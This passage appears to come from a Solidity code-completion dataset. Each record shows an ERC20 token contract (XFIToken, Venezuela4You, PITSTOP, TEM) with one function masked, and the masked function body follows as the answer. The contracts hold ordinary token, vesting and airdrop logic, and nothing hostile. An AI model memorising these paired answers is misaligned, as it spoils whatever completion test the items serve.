timestamp'); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _vestingStart = vestingStart_; _vestingEnd = vestingStart_.add(VESTING_DURATION); _reserveFrozenUntil = vestingStart_.add(RESERVE_FREEZE_DURATION); _reserveAmount = MAX_VESTING_TOTAL_SUPPLY; } /** * Transfers `amount` tokens to `recipient`. * * Emits a {Transfer} event. * * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * Approves `spender` to spend `amount` of caller's tokens. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. * * Requirements: * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * Transfers `amount` tokens from `sender` to `recipient`. * * Emits a {Transfer} event. * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, 'XFIToken: transfer amount exceeds allowance')); return true; } /** * Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, 'XFIToken: decreased allowance below zero')); return true; } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - Caller must have minter role. * - `account` cannot be the zero address. */ function mint(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _mint(account, amount); return true; } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply without vesting. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - Caller must have minter role. * - `account` cannot be the zero address. */ function mintWithoutVesting(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _mintWithoutVesting(account, amount); return true; } /** * Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * - Caller must have minter role. */ function burnFrom(address account, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), 'XFIToken: sender is not minter'); _burn(account, amount); return true; } /** * Destroys `amount` tokens from sender, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. */ function burn(uint256 amount) external override returns (bool) { _burn(msg.sender, amount); return true; } /** * Change vesting start and end timestamps. * * Emits a {VestingStartChanged} event. * * Requirements: * - Caller must have owner role. * - Vesting must be pending. * - `vestingStart_` must be greater than the current timestamp. */ function changeVestingStart(uint256 vestingStart_) external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'XFIToken: sender is not owner'); require(_vestingStart > block.timestamp, 'XFIToken: vesting has started'); require(vestingStart_ > block.timestamp, 'XFIToken: vesting start must be greater than current timestamp'); _vestingStart = vestingStart_; _vestingEnd = vestingStart_.add(VESTING_DURATION); _reserveFrozenUntil = vestingStart_.add(RESERVE_FREEZE_DURATION); emit VestingStartChanged(vestingStart_, _vestingEnd, _reserveFrozenUntil); return true; } /** * Starts all transfers. * * Emits a {TransfersStarted} event. * * Requirements: * - Caller must have owner role. * - Transferring is stopped. */ function startTransfers() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(_stopped, 'XFIToken: transferring is not stopped'); _stopped = false; emit TransfersStarted(); return true; } /** * Stops all transfers. * * Emits a {TransfersStopped} event. * * Requirements: * - Caller must have owner role. * - Transferring isn't stopped. */ function stopTransfers() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(!_stopped, 'XFIToken: transferring is stopped'); _stopped = true; emit TransfersStopped(); return true; } /** * Start migrations. * * Emits a {MigrationsStarted} event. * * Requirements: * - Caller must have owner role. * - Migrating isn't allowed. */ function allowMigrations() external override returns (bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(!_migratingAllowed, 'XFIToken: migrating is allowed'); _migratingAllowed = true; emit MigrationsAllowed(); return true; } /** * Withdraws reserve amount to a destination specified as `to`. * * Emits a {ReserveWithdrawal} event. * * Requirements: * - `to` cannot be the zero address. * - Caller must have owner role. * - Reserve has unfrozen. */ function withdrawReserve(address to) external override nonReentrant returns (bool) { require(to != address(0), 'XFIToken: withdraw to the zero address'); require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), 'XFIToken: sender is not owner'); require(block.timestamp > _reserveFrozenUntil, 'XFIToken: reserve is frozen'); uint256 amount = reserveAmount(); _mintWithoutVesting(to, amount); _reserveAmount = 0; emit ReserveWithdrawal(to, amount); return true; } /** * Migrate vesting balance to the Dfinance blockchain. * * Emits a {VestingBalanceMigrated} event. * * Requirements: * - `to` is not the zero bytes. * - Vesting balance is greater than zero. * - Vesting hasn't ended. */ function migrateVestingBalance(bytes32 to) external override nonReentrant returns (bool) { require(to != bytes32(0), 'XFIToken: migrate to the zero bytes'); require(_migratingAllowed, 'XFIToken: migrating is disallowed'); require(block.timestamp < _vestingEnd, 'XFIToken: vesting has ended'); uint256 vestingBalance = _vestingBalances[msg.sender]; require(vestingBalance > 0, 'XFIToken: vesting balance is zero'); uint256 spentVestedBalance = spentVestedBalanceOf(msg.sender); uint256 unspentVestedBalance = unspentVestedBalanceOf(msg.sender); // Subtract the vesting balance from total supply. _vestingTotalSupply = _vestingTotalSupply.sub(vestingBalance); // Add the unspent vesting balance to total supply. _totalSupply = _totalSupply.add(unspentVestedBalance); // Subtract the spent vested balance from total supply. _spentVestedTotalSupply = _spentVestedTotalSupply.sub(spentVestedBalance); // Make unspent vested balance persistent. _balances[msg.sender] = _balances[msg.sender].add(unspentVestedBalance); // Reset the account's vesting. _vestingBalances[msg.sender] = 0; _spentVestedBalances[msg.sender] = 0; emit VestingBalanceMigrated(msg.sender, to, vestingDaysLeft(), vestingBalance); return true; } /** * Returns name of the token. */ function name() external view override returns (string memory) { return _name; } /** * Returns symbol of the token. */ function symbol() external view override returns (string memory) { return _symbol; } /** * Returns number of decimals of the token. */ function decimals() external view override returns (uint8) { return _decimals; } /** * Returnes amount of `owner`'s tokens that `spender` is allowed to transfer. */ function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } /** * Returns the vesting start. */ function vestingStart() external view override returns (uint256) { return _vestingStart; } /** * Returns the vesting end. */ function vestingEnd() external view override returns (uint256) { return _vestingEnd; } <FILL_FUNCTION> /** * Returns whether transfering is stopped. */ function isTransferringStopped() external view override returns (bool) { return _stopped; } /** * Returns whether migrating is allowed. */ function isMigratingAllowed() external view override returns (bool) { return _migratingAllowed; } /** * Convert input amount to the output amount using the vesting ratio * (days since vesting start / vesting duration). */ function convertAmountUsingRatio(uint256 amount) public view override returns (uint256) { uint256 convertedAmount = amount .mul(vestingDaysSinceStart()) .div(VESTING_DURATION_DAYS); return (convertedAmount < amount) ? convertedAmount : amount; } /** * Convert input amount to the output amount using the vesting reverse * ratio (days until vesting end / vesting duration). */ function convertAmountUsingReverseRatio(uint256 amount) public view override returns (uint256) { if (vestingDaysSinceStart() > 0) { return amount .mul(vestingDaysLeft().add(1)) .div(VESTING_DURATION_DAYS); } else { return amount; } } /** * Returns days since the vesting start. */ function vestingDaysSinceStart() public view override returns (uint256) { if (block.timestamp > _vestingStart) { return block.timestamp .sub(_vestingStart) .div(1 days) .add(1); } else { return 0; } } /** * Returns vesting days left. */ function vestingDaysLeft() public view override returns (uint256) { if (block.timestamp < _vestingEnd) { return VESTING_DURATION_DAYS .sub(vestingDaysSinceStart()); } else { return 0; } } /** * Returns total supply of the token. */ function totalSupply() public view override returns (uint256) { return convertAmountUsingRatio(_vestingTotalSupply) .add(_totalSupply) .sub(_spentVestedTotalSupply); } /** * Returns total vested balance of the `account`. */ function totalVestedBalanceOf(address account) public view override returns (uint256) { return convertAmountUsingRatio(_vestingBalances[account]); } /** * Returns unspent vested balance of the `account`. */ function unspentVestedBalanceOf(address account) public view override returns (uint256) { return totalVestedBalanceOf(account) .sub(_spentVestedBalances[account]); } /** * Returns spent vested balance of the `account`. */ function spentVestedBalanceOf(address account) public view override returns (uint256) { return _spentVestedBalances[account]; } /** * Returns token balance of the `account`. */ function balanceOf(address account) public view override returns (uint256) { return unspentVestedBalanceOf(account) .add(_balances[account]); } /** * Returns reserve amount. */ function reserveAmount() public view override returns (uint256) { return _reserveAmount; } /** * Moves tokens `amount` from `sender` to `recipient`. * * Emits a {Transfer} event. * * Requirements: * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - Transferring is not stopped. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'XFIToken: transfer from the zero address'); require(recipient != address(0), 'XFIToken: transfer to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); _decreaseAccountBalance(sender, amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. * - `amount` doesn't exceed reserve amount. */ function _mint(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: mint to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); require(_reserveAmount >= amount, 'XFIToken: mint amount exceeds reserve amount'); _vestingTotalSupply = _vestingTotalSupply.add(amount); _vestingBalances[account] = _vestingBalances[account].add(amount); _reserveAmount = _reserveAmount.sub(amount); emit Transfer(address(0), account, amount); } /** * Creates `amount` tokens and assigns them to `account`, increasing * the total supply without vesting. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. */ function _mintWithoutVesting(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: mint to the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * - Transferring is not stopped. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), 'XFIToken: burn from the zero address'); require(!_stopped, 'XFIToken: transferring is stopped'); require(balanceOf(account) >= amount, 'XFIToken: burn amount exceeds balance'); _decreaseAccountBalance(account, amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * Emits an {Approval} event. * * Requirements: * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), 'XFIToken: approve from the zero address'); require(spender != address(0), 'XFIToken: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * Decrease balance of the `account`. * * The use of vested balance is in priority. Otherwise, the normal balance * will be used. */ function _decreaseAccountBalance(address account, uint256 amount) internal { uint256 accountBalance = balanceOf(account); require(accountBalance >= amount, 'XFIToken: transfer amount exceeds balance'); uint256 accountVestedBalance = unspentVestedBalanceOf(account); uint256 usedVestedBalance = 0; uint256 usedBalance = 0; if (accountVestedBalance >= amount) { usedVestedBalance = amount; } else { usedVestedBalance = accountVestedBalance; usedBalance = amount.sub(usedVestedBalance); } _balances[account] = _balances[account].sub(usedBalance); _spentVestedBalances[account] = _spentVestedBalances[account].add(usedVestedBalance); _totalSupply = _totalSupply.add(usedVestedBalance); _spentVestedTotalSupply = _spentVestedTotalSupply.add(usedVestedBalance); } }
return _reserveFrozenUntil;
function reserveFrozenUntil() external view override returns (uint256)
/** * Returns the date when freeze of the reserve XFI amount. */ function reserveFrozenUntil() external view override returns (uint256)
80,644
Venezuela4You
null
contract Venezuela4You is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Venezuela4You is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "V4Y"; name = "Venezuela4You"; decimals = 8; _totalSupply = 100000000000000000; balances[0x4e73260761D69Ef7F08ED0f9bc6172801a876c21] = _totalSupply; emit Transfer(address(0), 0x4e73260761D69Ef7F08ED0f9bc6172801a876c21, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
2,728
PITSTOP
getTokens
contract PITSTOP is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "PITSTOP"; string public constant symbol = "PIT"; uint public constant decimals = 18; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 10000000000e18; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth =10000000e18; uint public target0drop = 500; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 2000000000e18; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract PITSTOP is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "PITSTOP"; string public constant symbol = "PIT"; uint public constant decimals = 18; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 10000000000e18; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth =10000000e18; uint public target0drop = 500; uint public progress0drop = 0; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 2000000000e18; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } <FILL_FUNCTION> function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 100; uint256 bonusCond2 = 1 ether / 10; uint256 bonusCond3 = 1 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 50 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 70 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 100 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 70 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 100 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 100000e18; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; }
function getTokens() payable canDistr public
function getTokens() payable canDistr public
11,611
TEM
restoreAllFee
contract TEM is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string private _name; string private _symbol; uint256 private _decimals; uint256 public _taxFee = 4; uint256 private _previousTaxFee; uint256 public _destroyFee = 4; uint256 private _previousDestroyFee; address private _destroyAddress = address(0x000000000000000000000000000000000000dEaD); uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public numTokensSellToAddToLiquidity; // struct Lock { uint256 startAt; uint256 amount; } mapping(address => Lock[]) public userLocks; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { 